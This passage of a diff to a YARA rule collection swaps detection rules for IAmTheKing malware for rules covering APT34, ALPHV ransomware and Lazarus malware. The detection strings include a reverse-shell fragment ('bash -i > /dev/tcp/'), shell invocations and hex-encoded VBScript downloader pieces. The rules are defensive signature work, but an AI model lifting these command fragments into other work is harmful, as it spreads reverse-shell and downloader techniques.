"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_Keylogger_Jul_2021_1.yara#L1-L22" + id = "244ef018-bc7b-5e10-bf65-b52fdb5ad403" + date = "2020-07-28" + modified = "2020-07-28" + reference = "https://twitter.com/spider_girl22/status/1287952503280082944" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-28/Lazarus/APT_Lazarus_EPS_July_2020_1.yar#L3-L30" license_url = "N/A" - logic_hash = "dfdf5892564b93cd1bf564cfe62e37d9477b5ae0bf20e0f9a44ee97b7e3a99f8" + logic_hash = "0fbd6ac10a31cc9a571e42f8696480336cd350e56ba2ffafb386f066fd53c552" score = 75 - quality = 71 + quality = 45 tags = "FILE" - hash1 = "4c6995cb65ffeac1272d296eb3273b9fbca7f4d603312a5085b5c3be96154915" - hash2 = "79d363a163dfb0088545e66404e0213a9e18d5ee66713d7bc906ed97c46b5ca3" - tlp = "White" - adversary = "IAmTheKing" - - strings: - $s1 = "sonme hting is wrong x" fullword ascii - $s2 = { 25 73 25 73 25 73 25 73 } - $s3 = { 0d 0a 5b 44 41 54 41 5d 3a 0d 0a 00 4c 6f 67 2e 74 78 74 } - $s4 = { 0d 0a 5b 54 49 4d 45 3a 5d 25 64 2f 25 64 2f 25 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 0d 0a 5b 54 49 54 4c 45 3a 5d } - $s5 = { 25 73 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 } - $s6 = { 6a 00 56 ff 75 f8 8d 45 e4 50 ff 75 f0 ff 75 f4 ff 75 08 ff 15 c4 80 40 00 8b f0 3b f7 74 12 56 ff 15 70 80 40 00 85 c0 75 1b 56 ff 15 78 } + hash1 = "152c620980f0fc20a6eade0f5b726b98fc28392d84ce386a5fc1b0877ef446d7" + + strings: + $s1 = { 63 64 20 2F 64 20 22 25 61 70 70 64 61 74 61 25 5C 4D 69 63 72 6F 73 6F 66 74 5C 49 6E 74 65 72 6E 65 74 20 45 78 70 6C 6F 72 65 72 22 } + $s2 = { 46 75 6E 63 74 69 6F 6E 20 42 61 73 65 36 34 44 65 63 6F 64 65 28 42 79 56 61 6C 20 76 43 6F 64 65 29 } + $s3 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 4D 73 78 6D 6C 32 2E 44 4F 4D 44 6F 63 75 6D 65 6E 74 2E 33 2E 30 22 29 } + $s4 = { 46 75 6E 63 74 69 6F 6E 20 42 69 6E 61 72 79 54 6F 53 74 72 69 6E 67 28 42 69 6E 61 72 79 29 } + $s5 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 41 44 4F 44 42 2E 53 74 72 65 61 6D 22 29 } + $s6 = { 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 } + $s7 = { 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 4D 69 63 72 6F 73 6F 66 74 2E 58 4D 4C 48 54 54 50 22 29 } + $s8 = { 2E 45 6E 76 69 72 6F 6E 6D 65 6E 74 28 22 50 52 4F 43 45 53 53 22 29 28 22 50 72 6F 67 72 61 6D 57 36 34 33 32 22 29 20 3D 20 22 22 } + $s9 = { 3A 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 53 63 72 69 70 74 69 6E 67 2E 46 69 6C 65 53 79 73 74 65 6D 4F 62 6A 65 63 74 22 29 2E 44 65 6C 65 74 65 66 46 69 6C 65 20 57 73 63 72 69 70 74 2E 53 63 72 69 70 74 46 75 6C 6C 4E 61 6D 65 2C 20 54 72 75 65 3E 22 } + $s10 = { 20 65 63 68 6F 20 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 63 73 63 72 69 70 74 2E 65 78 65 } + $s11 = { 22 5E 26 64 65 6C 20 22 25 7E 66 30 22 3E } + $s12 = { 2E 52 75 6E 20 22 72 65 67 73 76 72 33 32 2E 65 78 65 20 2F 73 20 } + $s13 = { 2E 54 79 70 65 20 3D 20 31 3A 2E 4F 70 65 6E 3A 2E 57 72 69 74 65 20 42 69 6E 61 72 79 3A 2E 50 6F 73 69 74 69 6F 6E 20 3D 20 30 3A 2E 54 79 70 65 20 3D 20 32 3A 2E 43 68 61 72 53 65 74 20 3D 20 22 75 73 2D 61 73 63 69 69 22 } + $s14 = { 2E 4F 70 65 6E 20 22 47 45 54 22 2C 20 } + $s15 = { 73 74 61 72 74 20 2F 42 20 2F 6D 69 6E 20 } + $URL1 = { 22 68 74 74 70 3A 2F 2F 74 ?? ?? ?? } + $URL2 = { 22 68 74 74 70 73 3A 2F 2F 74 ?? ?? ?? } condition: - uint16( 0 ) == 0x5a4d and filesize > 25KB and 5 of ( $s* ) + uint16( 0 ) == 0x33c9 and filesize < 3KB and ( 1 of ( $URL* ) ) and ( 12 of ( $s* ) ) } -rule ARKBIRD_SOLG_MAL_Queenofclubs_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_APT34_RDAT_Feb_2021_1 : FILE { meta: - description = "Detect QueenOfClubs malware" + description = "Detect Installer from APT34 group" author = "Arkbird_SOLG" - id = "d78df760-5753-528c-b03d-7bb91ec658c0" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfClubs_Jul_2021_1.yara#L1-L21" + id = "32f28376-e792-543b-82f7-36ec627b4fab" + date = "2021-02-26" + modified = "2021-02-27" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-26/APT34/APT_APT34_RDAT_Feb_2021_1.yar#L1-L19" license_url = "N/A" - logic_hash = "c6fe9dd24098ef3c281d9e6727613499988c88b9d2011af77390e0ce358bebf4" - score = 75 - quality = 75 + logic_hash = "61ea6eceda0c7d6ec15db87891c4322002c112383c7a4d0089e35db9636bbe73" + score = 50 + quality = 73 tags = "FILE" - hash1 = "b0a1da4fc5526365df495094f65660d88487ce5e60192e5fb4075e815f9481d3" - tlp = "White" - adversary = "IAmTheKing" + level = "experimental" + hash1 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c" strings: - $s1 = { 66 00 6f 00 72 00 28 00 3b 00 3b 00 29 00 7b 00 24 00 53 00 3d 00 47 00 65 00 74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 22 00 25 00 73 00 22 00 3b 00 49 00 46 00 28 00 24 00 53 00 29 00 7b 00 22 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 69 00 65 00 78 00 20 00 24 00 53 00 20 00 32 00 3e 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 24 00 74 00 2b 00 27 00 20 00 27 00 3b 00 65 00 63 00 68 00 6f 00 20 00 24 00 74 00 20 00 3e 00 3e 00 22 00 25 00 73 00 22 00 3b 00 7d 00 73 00 6c 00 65 00 65 00 70 00 20 00 2d 00 6d 00 20 00 36 00 30 00 30 00 3b 00 7d } - $s2 = { 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 63 00 20 00 25 00 73 } - $s3 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } - $s4 = { 5c 00 7e 00 74 00 6d 00 70 00 5f 00 [6-20] ( 00 2e 00 6a 00 70 00 67 | 00 2e 00 70 00 73 00 31) } - $s5 = { c7 45 d8 ac 89 41 00 c7 45 dc 00 00 00 00 6a 01 68 00 00 40 04 8d 55 d8 52 68 c8 89 41 00 68 e0 89 41 00 8b 45 c0 83 c0 08 50 68 ec 89 41 00 8b 4d f4 51 ff 15 78 62 41 00 8b 55 c0 89 42 04 8b 45 c0 83 78 04 00 75 19 8b 4d f0 51 ff 15 74 62 41 00 8b 55 f4 52 ff 15 74 62 41 00 e9 14 ff ff ff 68 3c 04 00 00 e8 b7 70 00 00 83 c4 04 89 45 d0 8b 45 d0 89 45 e0 68 ec 01 00 00 e8 a1 70 00 00 83 c4 04 89 45 cc 8b 4d cc 89 4d d4 8b 55 c0 8b 32 b9 7b 00 00 00 8b 7d d4 f3 a5 6a 01 8b 45 c0 83 c0 1c 50 68 ec 01 00 00 8b 4d d4 51 68 c1 f5 09 00 8b 55 c0 83 c2 20 52 e8 04 ef ff ff } - $s6 = "http://bot.google.com" fullword ascii - $s7 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 00 00 25 00 73 00 00 00 00 00 25 00 73 } + $s1 = "XAVVQxcVAVIfCBYWARQfEBldEU4ZF1JbUFJYCgpCTg==" fullword ascii + $s2 = { 0b da 89 5c 24 40 40 38 3d 55 56 } + $s3 = { 57 4e 44 31 23 31 2e 32 } + $s4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 } + $seq_Service = { 4c 8b dc 57 48 81 ec e0 02 00 00 48 c7 44 24 70 fe ff ff ff 49 89 5b 10 49 89 73 18 48 8b 05 65 12 0a 00 48 33 c4 48 89 84 24 d0 02 00 00 48 8b d9 48 89 4c 24 78 41 b8 04 01 00 00 49 8d 93 d8 fd ff ff 33 c9 ff 15 9d 20 07 00 85 c0 75 19 ff 15 33 21 07 00 8b d0 48 8d 0d 8a b6 08 00 e8 1d f7 ff ff e9 a5 01 00 00 33 f6 48 89 b4 24 90 00 00 00 48 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 d4 9f ff ff 66 39 b4 24 c0 00 00 00 75 05 44 8b c6 eb 1f 48 8d 84 24 c0 00 00 00 49 83 c8 ff 66 0f 1f 84 00 00 00 00 00 49 ff c0 66 42 39 34 40 75 f6 48 8d 94 24 c0 00 00 00 48 8d 8c 24 80 00 00 00 e8 41 05 00 00 90 4c 8b c3 48 8d 8c 24 a0 00 00 00 e8 60 0a 00 00 90 49 83 c9 ff 45 33 c0 48 8b d0 48 8d 8c 24 80 00 00 00 e8 a8 07 00 00 90 45 33 c0 b2 01 48 8d 8c 24 a0 00 00 00 e8 55 9f ff ff 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 d5 1e 07 00 48 8b f8 48 85 c0 75 19 ff 15 5f 20 07 00 8b d0 48 8d 0d de b5 08 00 e8 49 f6 ff ff e9 be 00 00 00 4c 8d 8c 24 80 00 00 00 48 83 bc 24 98 00 00 00 08 4c 0f 43 8c 24 80 00 00 00 48 8d 15 33 7a 0a 00 4c 8b c2 48 83 3d 40 7a 0a 00 08 4c 0f 43 05 20 7a 0a 00 48 0f 43 15 18 7a 0a 00 48 89 74 24 60 48 89 74 24 58 48 89 74 24 50 48 89 74 24 48 48 89 74 24 40 4c 89 4c 24 38 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 41 b9 ff 01 0f 00 48 8b c8 ff 15 23 1e 07 00 48 8b f0 48 85 c0 75 16 ff 15 bd 1f 07 00 8b d0 48 8d 0d 5c b5 08 00 e8 a7 f5 ff ff eb 15 48 8d 0d 6e b5 08 00 e8 99 f5 ff ff 48 8b ce ff 15 e0 1d 07 00 48 8b cf ff 15 d7 1d 07 00 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 54 9e ff ff 90 45 33 c0 b2 01 48 8b cb e8 46 9e ff ff 48 8b 8c 24 d0 02 00 00 48 33 cc e8 d6 94 02 00 4c 8d 9c 24 e0 02 00 00 49 8b 5b 18 49 8b 73 20 49 8b e3 5f } + $seq_ConnectC2 = { 33 c0 48 89 44 24 70 48 89 44 24 78 66 89 7c 24 70 8d 48 35 ff 15 2f 62 07 00 66 89 44 24 72 48 8b cb e8 ea dc ff ff 48 8b c8 ff 15 29 62 07 00 89 44 24 74 49 8b cd e8 d5 dc ff ff 48 8b d0 c7 44 24 28 10 00 00 00 48 8d 44 24 70 48 89 44 24 20 45 33 c9 45 8b 45 10 49 8b cc ff 15 e0 61 07 00 83 f8 ff 75 12 45 33 c0 48 8d 15 6b cb 08 00 48 8b ce e8 79 de ff ff 4c 89 a4 24 a8 00 00 00 c7 84 24 a0 00 00 00 01 00 00 00 48 c7 44 24 38 0a 00 00 00 41 8d 4c 24 01 48 8d 44 24 38 48 89 44 24 20 45 33 c9 45 33 c0 48 8d 94 24 a0 00 00 00 ff 15 aa 61 07 00 83 f8 01 0f 94 c0 84 c0 0f 84 0f 01 00 00 45 33 c9 41 b8 00 02 00 00 48 8d 94 24 b0 02 00 00 49 8b cc ff 15 72 61 07 00 4c 63 c0 85 c0 0f 8e ea 00 00 00 41 8b c8 49 8b d0 49 8b c0 45 85 c0 0f 8e d8 00 00 00 0f 1f 44 00 00 80 bc 04 b0 02 00 00 00 0f 85 b7 00 00 00 48 3b d0 0f 84 ae 00 00 00 85 c9 0f 84 b4 00 00 00 83 c1 03 41 3b c8 0f 8d a8 00 00 00 48 8d 9c 24 b0 02 00 00 48 03 da 48 63 c1 48 8d bc 24 b0 02 00 00 48 03 f8 4c 89 b4 24 90 00 00 00 4c 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 0a dd ff ff 48 3b fb 74 17 48 2b df 4c 8b c3 48 8b d7 48 8d 8c 24 80 00 00 00 e8 6f dd ff ff 90 48 8d 84 24 80 00 00 00 48 3b f0 74 18 49 83 c9 ff 45 33 c0 48 8d 94 24 80 00 00 00 48 8b ce e8 2a de ff ff 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 b7 dc ff ff 48 8b 5c 24 48 bf } + $seq_RegisterEvent = { 40 53 48 83 ec 20 48 83 3d 5a 79 0a 00 08 48 8d 1d 3b 79 0a 00 48 8b cb 48 8d 15 91 01 00 00 48 0f 43 0d 29 79 0a 00 ff 15 93 1d 07 00 48 89 05 44 77 0a 00 48 8b c8 48 85 c0 75 2d 48 83 3d 24 79 0a 00 08 48 0f 43 1d 04 79 0a 00 48 8b d3 ff 15 7b 1d 07 00 48 85 c0 74 62 48 8b c8 ff 15 35 1d 07 00 48 83 c4 20 5b c3 33 c0 c7 05 db 76 0a 00 10 00 00 00 48 89 05 e0 76 0a 00 48 8d 15 cd 76 0a 00 8b 05 17 1c 0a 00 89 05 d5 76 0a 00 ff c0 89 05 09 1c 0a 00 48 c7 05 b2 76 0a 00 02 00 00 00 c7 05 bc 76 0a 00 b8 0b 00 00 ff 15 06 1d 07 00 48 83 c4 20 5b } condition: - uint16( 0 ) == 0x5a4d and filesize > 35KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and all of ( $s* ) and 2 of ( $seq* ) } -rule ARKBIRD_SOLG_MAL_Slothfulmedia_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_ALPHV_Dec_2021_1 : FILE { meta: - description = "Detect SlothfulMedia malware" + description = "Detect AlphV ransomware (Nov and Dec 2021)" author = "Arkbird_SOLG" - id = "f4e1eca6-ecc9-5911-b69e-c8c4de43f1a1" - date = "2021-07-09" - modified = "2021-07-12" - reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_SlothfulMedia_Jul_2021_1.yara#L1-L26" + id = "5c758dc9-b1dc-58e0-b443-6f78e27ffefe" + date = "2021-12-09" + modified = "2021-12-18" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-09/RAN_ALPHV_Dec_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "929364cbb9854336641590d53ee9c4548f02845e26252d359b155e4c2b1032ca" + logic_hash = "416ebea98f660dd9fad27c3be0c79e47bc69e08fe4be7db76a71462d2c5ada49" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb" - hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae" - hash3 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5" - tlp = "White" - adversary = "IAmTheKing" + hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83" + hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e" + hash3 = "cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae" + hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161" + tlp = "white" + adversary = "BlackCat" strings: - $s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } - $s2 = "\\VarFileInfo\\Translation" fullword wide - $s3 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 [2-8] 2e 00 6a 00 70 00 67 } - $s4 = "\\SetupUi" fullword wide - $s5 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 } - $s6 = { 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 25 00 73 00 25 00 64 } - $s7 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 } - $s8 = { 45 00 72 00 61 00 20 00 75 00 70 00 6c 00 6f 00 61 00 64 00 3a 00 25 00 73 00 20 00 25 00 64 } - $s9 = "ExtKeyloggerStart" fullword ascii - $s10 = "ExtKeyloggerStop" fullword ascii - $s11 = "ExtServiceDelete" fullword ascii + $s1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24 [2] 00 00 } + $s2 = { 85 f6 74 47 8b 3d ?? e1 ?? 00 85 ff 0f 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 c0 0f 84 99 01 00 00 89 c1 31 c0 f0 0f b1 0d ?? e1 ?? 00 0f 84 f0 fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 e1 fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 32 03 00 00 89 c6 a3 ?? e1 ?? 00 8b 3d ?? e1 ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 09 03 00 00 89 c7 a3 ?? e1 ?? 00 89 74 24 18 e8 [2] 04 00 8b 35 ?? e1 ?? 00 89 44 24 14 85 f6 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 b8 01 00 00 89 c6 a3 ?? e1 ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 0c 01 00 00 6a 00 50 e8 [2] 04 00 83 } + $s3 = { 8b 38 89 4d ec 89 55 ?? 74 34 a1 ?? e1 ?? 00 85 c0 75 0e e8 [3] 00 85 c0 74 14 a3 ?? e1 ?? 00 53 6a 00 50 e8 [3] 00 89 c6 85 c0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff 0f 0b be 01 00 00 00 53 57 56 e8 [3] 00 83 c4 0c 8d 04 1e 8d 4d } + $s4 = { 83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50 57 e8 [3] 00 83 f8 ff 0f 84 ?? 02 00 00 f6 45 9c ff } condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 8 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 300KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_2 : FILE +rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Dacls_June_2020_1 : FILE { meta: - description = "Detect PowerPool malware (ALPC exploit variant)" + description = "Detect DACLS malware used by APT Lazarus" author = "Arkbird_SOLG" - id = "2988e9a8-da43-51fb-bd39-44aa1d161120" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_2.yara#L1-L23" + id = "fb85b83a-4367-5f1d-be06-8a8e906b8df7" + date = "2020-06-11" + modified = "2020-06-12" + reference = "https://twitter.com/batrix20/status/1270924079826997248" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L3-L26" license_url = "N/A" - logic_hash = "07d7a6444ddccbf4887de18659147354c9961092bb07ee0148392035a6d27086" + logic_hash = "ed3e4a7a0490c5e8854d4e1bc8a223658ab9657a03c1b237af1056293a51611b" score = 75 - quality = 75 + quality = 48 tags = "FILE" - hash1 = "035f97af0def906fbd8f7f15fb8107a9e852a69160669e7c0781888180cd46d5" - hash2 = "a72cdb6be7a967d3aa0021d2331b61af84455539e6f127720c9aac9b8392ec24" - hash3 = "df7b9d972ac83cc4a590f09d74cb242de3442cc9c1f19ed08f62bd6ebc9fc0fd" - tlp = "White" - adversary = "IAmTheKing" + hash1 = "2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64b" strings: - $s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } - $s2 = { 2f 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 69 00 6e 00 66 00 6f 00 3d 00 25 00 73 } - $s3 = { 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 20 00 61 00 20 00 2d 00 72 00 20 00 25 00 73 00 2e 00 72 00 61 00 72 00 20 00 2d 00 74 00 61 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 20 00 2d 00 74 00 62 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 } - $s4 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 24 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 54 00 61 00 62 00 6c 00 65 00 2e 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 } - $s5 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 } - $s6 = { 83 c4 04 53 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 0c 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 08 83 7c 24 20 00 68 40 01 00 00 74 61 33 ed 55 68 88 ?? 43 00 e8 ?? a4 00 00 b8 50 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 3b cd 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 3b cd 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 90 ?? 42 00 f3 a4 e8 [2] 00 00 83 c4 04 33 f6 89 74 24 20 eb 66 6a 00 68 88 ?? 43 00 e8 ?? a4 00 00 b8 f0 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 85 c9 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 85 c9 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 98 ?? 42 00 f3 a4 e8 ?? 95 00 00 c7 44 24 24 01 00 00 00 8b 74 24 24 83 c4 04 33 ed 68 d0 07 00 00 a3 d4 ?? 42 00 } + $s1 = "bash -i > /dev/tcp/" fullword ascii + $s2 = "__mh_execute_header" fullword ascii + $s3 = "/bin/bash -c \"" fullword ascii + $s4 = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" fullword ascii + $s5 = "@_gethostbyname" fullword ascii + $s6 = "@_gethostname" fullword ascii + $s7 = "radr://5614542" fullword ascii + $s8 = "sh -c \"" fullword ascii + $s9 = "content-type: multipart/form-data" fullword ascii + $s10 = "@___stack_chk_fail" fullword ascii + $s11 = "/usr/lib/libSystem.B.dylib" fullword ascii + $s12 = "@dyld_stub_binder" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* ) + uint16( 0 ) == 0xfacf and filesize < 200KB and 10 of them } -rule ARKBIRD_SOLG_MAL_Jackofhearts_Jul_2021_1 : FILE + +rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Nukesped_June_2020_1 : FILE { meta: - description = "Detect JackOfHearts malware" + description = "Detect NukeSped malware used by APT Lazarus" author = "Arkbird_SOLG" - id = "42d5eadb-dd94-5a15-8a0d-d1e56b58ce2e" - date = "2021-07-09" - modified = "2021-07-12" - reference = "hhttps://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_JackOfHearts_Jul_2021_1.yara#L1-L23" + id = "7a5b27df-43bd-544d-8d0f-72e58ce3064c" + date = "2020-06-11" + modified = "2020-06-12" + reference = "https://twitter.com/batrix20/status/1270924079826997248" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L28-L54" license_url = "N/A" - logic_hash = "6cad69beb7c104ef19beb26ca42b923283a0303c230e30b48dde58f88af4cd42" + logic_hash = "b1332eb255f8ae9ae6a68ef8ef86d9f5472584cae8161c27186e341990df7eae" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273" - tlp = "White" - adversary = "IAmTheKing" + hash1 = "90ea1c7806e2d638f4a942b36a533a1da61adedd05a6d80ea1e09527cf2d839b" strings: - $s1 = "%appdata%" fullword ascii - $s2 = "%temp%" fullword ascii - $s3 = { 43 3a 5c 55 73 65 72 73 5c [2-10] 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c } - $s4 = "CreateServiceA" fullword ascii - $s5 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e } - $s6 = "\\VarFileInfo\\Translation" fullword wide - $s7 = { 5c 00 46 00 69 00 6c 00 74 00 65 00 72 00 [2-8] 2e 00 6a 00 70 00 67 } - $s8 = "\\SetupUi" fullword wide - $s9 = { 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 64 } - $s10 = "%s.tmp" fullword wide + $s1 = "%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X" fullword wide + $s2 = "<htr<jtb<lt6<tt&<wt" fullword ascii + $s3 = "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"" fullword ascii + $s4 = "Content-Type: multipart/form-data; boundary=" fullword wide + $s5 = "POST" fullword ascii + $s6 = "Content-Type: octet-stream" fullword ascii + $s7 = "CONOUT$" fullword ascii + $s8 = "cmd.exe /c" fullword ascii + $s9 = "2>&1" fullword ascii + $s10 = "WINHTTP.dll" fullword ascii + $s11 = "WinHttpSendRequest" fullword wide + $s12 = "ObtainUserAgentString" fullword ascii + $s13 